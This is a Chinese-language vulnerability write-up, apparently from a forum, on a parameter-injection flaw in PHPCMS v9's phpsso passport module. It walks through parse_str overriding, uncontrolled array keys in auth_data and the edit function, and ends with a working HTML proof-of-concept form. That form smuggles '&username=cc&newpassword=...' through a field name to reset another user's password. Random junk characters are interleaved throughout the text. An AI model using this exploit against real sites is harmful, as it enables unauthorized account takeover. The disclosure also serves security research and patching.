提到的通行证的代码:5 _1 ^! y+ }& {) D. J S
" Y/ d3 S5 w) o8 O+ g( {3 |2 g) s! t$ G8 b, F
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
% X8 I& `7 `2 U0 u4 {4 S w2 d5 g/ R% u, d0 l
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
% H1 F# K S Q4 @' j7 V: y- `0 J
我把它留给了你们。8 V8 ? l1 ~( i6 E
不知道你们发现了它没有。' _6 S2 o) d9 n5 K6 L; V. T, p
1 [! L+ G. h1 e% t) x, C% `8 {1 f我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
% ?/ k4 P0 l/ |* D; U) G* \2 C& e$ U, B( B4 k
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。 `# f8 P9 J W! B
2 ^6 H$ z- Z) P' [' T, G. y G也就是( t' a' ]5 J6 e I6 n7 F/ U
9 }3 G9 S( K; l% tusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。. g% L4 ] {$ a' e7 v
8 c5 E9 E. W8 c j要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。) u! M! p" Z% Q, C$ `% ~# @
6 d$ C1 J! R/ w
& F: i# u( e" v! N其实我们有这样的机会,看看代码,如下:
! D/ S( W' s u8 M' V% t: V( Q) w3 J
: d0 m$ g: _1 L
public function auth_data($data) {
5 W. }- i! d! j( { $s = $sep = '';, O) a8 s Z' [3 g! o
foreach($data as $k => $v) {
9 _" U0 P2 v' s1 ]) [ if(is_array($v)) {$ r" m: z3 u. c8 e( f
$s2 = $sep2 = '';
& c1 V7 P- |! _4 k& H foreach($v as $k2 => $v2) {
- [; E1 e! y- B# K" m $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);/ R% q: }# `, X0 O" I1 \$ D: C( ]
$sep2 = '&';& ~% _7 H0 R- T" N
}
* _2 j& X) _+ y3 ~* Q, Q% f7 s $s .= $sep.$s2;
1 S4 v9 }6 d4 ~& j } else {
W8 h' S- M7 G% X. h6 L3 G; _6 t $s .= "$sep$k=".$this->_ps_stripslashes($v);
6 _1 U2 ~" ?1 y( W% C$ ?! B }) ^/ s5 `4 N/ H( {! C8 p8 g
$sep = '&';
, Z( M) g4 z& L7 V' ] }5 s6 z8 T3 m. w5 P$ r" s( B9 o
' D( w" O# ^2 A$ Q: |8 y, Q $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));/ j9 L3 u" |3 r% n3 a! A( p
return $auth_s;
# e9 z- k/ i7 z }
8 `( v) q/ d# i; }/ Y2 M. j! }
6 ?" ~8 v, Z+ c8 [" l7 S% s可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。' {/ p; W8 h* a% L
4 t, ~' J2 y9 m) X
举个例子
& |, T: y# _% P2 W& c5 ?& l3 l; W6 k7 s
$a[aaa=a&bbb] = 'a';
8 V2 n# n& u) w
$ v6 t, A X5 q% @9 W2 f会变成aaa=a&bbb=a9 Q, U0 A& P4 ]7 |0 n
6 U1 z5 {" p3 N& R明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。7 J8 O/ T" U% n+ y8 k& V9 |/ f9 I
8 v: {7 {9 G1 g这个时候,我们可以再去看一个函数。
+ p" h! M& V' U$ V9 ?- | U
1 a' K* f" ?9 N9 j' Z! `, j就在这个文件内:# \! `; q5 B; E7 S! @* F
X* F/ W. I* P0 h+ P
4 W* U% y% [* H# b; n& o( @public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
) S5 s! z6 l. _0 [ if($email && !$this->_is_email($email)) {. D+ {/ N6 C; r3 L% ?
return -4;3 t# f/ v! H* ~' n6 w" F
}
2 P, H7 g! |, N4 s! z return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
. q7 w/ ^ q) f$ I, Q6 p }
- J) M* G8 n% o/ R3 b, g% z/ }. d
, ?1 R2 p% _" c# a这是向通行证发了这样一个请求。
! n4 s% q2 [' N$ _+ `5 B4 T4 f
1 w/ {2 @3 J8 V+ C2 J2 I# P8 R我们再跟到通信证代码里去看看,就会有所发现。
O% F7 i+ ~" }1 I3 z1 v, p$ Y: u: ]# [1 |# Z6 D
, l$ Z& e6 M- V# F+ s+ x2 t2 I3 bpublic function edit() {' R( c$ b& o7 D8 n6 q
//能省就省,太长了不是吗?
& x9 A' q+ _+ x; V
- t" {2 p$ T2 a9 a( \if($this->username) {3 x3 V1 H. c" p
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。4 F4 ? @5 t, | n( H4 W3 ]" F
$res = $this->db->update($data, array('username'=>$this->username));$ R) r; G& N1 H4 t, o8 M4 x1 N
} else {7 P- C4 @# |2 E8 b; x5 e* g
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
1 K: a. A" y6 N $res = $this->db->update($data, array('uid'=>$this->uid));
9 W& s; H \& x9 r7 L6 ^ }
- y) z, J1 W$ O" |7 G) d
2 ^1 S* H% ?; S3 Y9 i/ Y; D好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:2 D& `% k5 X5 _# B
' r' h6 m: z* Q$ D- r/ Apublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
4 V# c8 D' T3 e! P, a! p+ R7 d. _9 M4 G3 D9 P! E; a
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
$ X5 T7 Y3 G4 y# _* X- I2 e% F) G2 f; F" N
我当然找到了:
5 G* ]; w# L( n- cphpcms9/phpcms/modules/member/index.php ]& E7 K8 s7 Y6 ^# F/ k. ]( a
. p3 A* j' q. o! w: A& D
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
, u- h7 H2 D: r
0 d' q( j- N9 x7 m3 D然后就没有然后了。+ t4 O% {3 c2 ^! v% c
* D3 R: }% Y; t. u1 Z6 @<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">! M4 Q& Y# Q, J1 b o, V+ A
<table width="100%" cellspacing="0" class="table_form">, R+ P# [/ A1 q8 H6 h
<tr>
0 H' L( N) Z7 H0 c; _ <th width="80">邮箱:</th> $ f6 X3 Q# D: ]' X0 f$ y
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>5 r) w3 i: X! d/ u- W" W4 d
</tr>5 l+ N3 u8 C9 ~
<tr>2 @2 {7 }; O" V+ M
<th width="80">原密码:</th>
9 S: u" f2 C1 o" z) B <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>5 {# D" |! a/ E' G+ e @5 q/ ]% c
</tr># V) s" L5 A% f. q& d* q/ i* ^/ U
<tr>
; k( a0 Z+ C' V2 b" h <th>新密码:</th>
3 k- G5 E7 K7 @ <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
" _3 y( V7 P+ ~* f/ N </tr>9 V) D# t* C! L5 C6 j
<th></th>1 Z' T3 T( X; Z @! u* o$ Z9 @
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>7 [) O- f$ j3 r( s
</tr>
+ V7 R& q, c3 S7 Z/ R' ?8 i0 t </table>% f+ |3 r3 u$ ? G8 e4 s8 B
9 m9 d+ \! y" a9 _6 c& E
- F& v; m1 }/ j, \ </form>* d% H5 r5 k7 d
|